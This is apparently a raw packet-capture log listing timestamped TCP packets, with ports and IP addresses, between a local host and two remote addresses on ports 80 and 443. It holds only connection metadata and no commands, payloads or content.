Oct 28, 2024 02:07:47.636858940 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.636871099 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.636890888 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.636900902 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.636912107 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.636920929 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.636920929 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.636924028 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.636934042 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.636945963 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.636986971 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.636998892 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.637020111 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.637020111 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.637037992 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.637041092 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.637049913 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.637068033 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.637077093 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.637079000 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.637090921 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.637101889 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.637101889 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.637134075 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.637141943 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.637141943 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.637145042 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.637156963 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.637170076 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.637171030 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.637201071 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.637202024 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.637201071 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.637212038 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.637223959 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.637223959 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.637242079 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.637254000 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.637267113 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.637271881 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.637271881 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.637289047 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.637296915 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.637324095 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.637342930 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.637356997 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.637367010 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.637391090 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.637393951 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.637417078 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.637440920 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.637451887 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.637465000 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.637470961 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.637484074 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.637506008 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.637511969 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.637523890 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.637535095 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.637540102 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.637572050 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.637579918 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.637612104 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.637623072 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.637634993 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.637646914 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.637660027 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.637670040 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.637696028 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.637729883 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.637757063 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.637767076 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.637777090 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.637793064 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.637809992 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.637824059 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.637826920 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.637834072 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.637859106 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.637876034 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.637886047 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.637898922 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.637907028 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.637952089 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.637960911 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.637972116 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.637996912 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.638048887 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.638125896 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.638135910 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.638199091 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.638199091 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.731774092 CET	443	49997	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:47.732444048 CET	49997	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:47.732490063 CET	443	49997	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:47.732927084 CET	49997	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:47.732937098 CET	443	49997	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:47.737932920 CET	443	49995	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:47.738029957 CET	443	49994	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:47.738414049 CET	49995	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:47.738513947 CET	443	49995	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:47.738922119 CET	443	49996	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:47.738976955 CET	49995	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:47.738992929 CET	443	49995	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:47.739092112 CET	49994	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:47.739104986 CET	443	49994	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:47.739584923 CET	49994	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:47.739598989 CET	443	49994	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:47.741895914 CET	49996	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:47.741910934 CET	443	49996	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:47.742697954 CET	49996	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:47.742702007 CET	443	49996	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:47.748903990 CET	443	49998	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:47.749674082 CET	49998	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:47.749689102 CET	443	49998	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:47.750632048 CET	49998	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:47.750639915 CET	443	49998	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:47.751528978 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.751555920 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.751569033 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.751574039 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.751597881 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.751600981 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.751646042 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.751677990 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.751688957 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.751703024 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.751733065 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.751750946 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.751768112 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.751779079 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.751791000 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.751801968 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.751816988 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.751933098 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.751966953 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.751969099 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.751979113 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.752047062 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.752065897 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.752087116 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.752094984 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.752101898 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.752103090 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.752104998 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.752119064 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.752211094 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.752234936 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.752257109 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.752266884 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.752301931 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.752338886 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.752346992 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.752357960 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.752372980 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.752374887 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.752398968 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.752531052 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.752578020 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.752589941 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.752599001 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.752634048 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.752667904 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.752667904 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.752674103 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.752686977 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.752711058 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.752779961 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.752790928 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.752800941 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.752815008 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.752818108 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.752830029 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.752840996 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.752849102 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.752852917 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.752865076 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.752871990 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.752876043 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.752880096 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.752892017 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.752899885 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.752906084 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.752929926 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.752934933 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.752959967 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.752970934 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.752981901 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.752984047 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.752994061 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.753019094 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.753021002 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.753056049 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.753067017 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.753072977 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.753077030 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.753108025 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.753130913 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.753140926 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.753148079 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.753160954 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.753194094 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.753206015 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.753216982 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.753235102 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.753263950 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.753278017 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.753278971 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.753278971 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.753300905 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.753307104 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.753323078 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.753324032 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.753334999 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.753357887 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.753360987 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.753377914 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.753408909 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.753408909 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.753444910 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.753459930 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.753470898 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.753470898 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.753478050 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.753500938 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.753500938 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.753514051 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.753526926 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.753540993 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.753544092 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.753551960 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.753566980 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.753603935 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.753603935 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.753633022 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.753643990 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.753654003 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.753683090 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.753705978 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.753735065 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.753741980 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.753742933 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.753755093 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.753773928 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.753781080 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.753786087 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.753844976 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.753845930 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.753844976 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.753855944 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.753865957 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.753876925 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.753894091 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.753909111 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.753918886 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.753923893 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.753931046 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.753942966 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.753954887 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.753958941 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.753984928 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.754008055 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.754019022 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.754030943 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.754039049 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.754096031 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.754132032 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.754132986 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.754143000 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.754168034 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.754237890 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.754264116 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.754287958 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.754300117 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.754431009 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.754441977 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.754451990 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.754458904 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.754472971 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.754482031 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.754492998 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.754492998 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.754504919 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.754508972 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.754513979 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.754514933 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.754532099 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.754534960 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.754543066 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.754555941 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.754559994 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.754565954 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.754565954 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.754590988 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.754592896 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.754646063 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.754657030 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.754663944 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.754667997 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.754679918 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.754690886 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.754700899 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.754728079 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.754744053 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.754760981 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.754805088 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.754805088 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.754857063 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.754873991 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.754888058 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.754900932 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.754909039 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.754993916 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.755001068 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.755044937 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.755072117 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.755259037 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.862721920 CET	443	49997	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:47.862874031 CET	443	49997	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:47.862910986 CET	443	49997	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:47.863094091 CET	49997	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:47.863250017 CET	49997	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:47.863270998 CET	443	49997	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:47.863306046 CET	49997	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:47.863321066 CET	443	49997	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:47.867742062 CET	50000	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:47.867815971 CET	443	49996	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:47.867832899 CET	443	50000	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:47.867877007 CET	443	49996	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:47.867979050 CET	443	49996	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:47.867981911 CET	49996	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:47.867993116 CET	50000	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:47.868067980 CET	49996	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:47.868067980 CET	49996	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:47.868247032 CET	49996	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:47.868257046 CET	443	49996	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:47.868377924 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.868413925 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.868477106 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.868505001 CET	49967	80	192.168.2.6	185.215.113.206
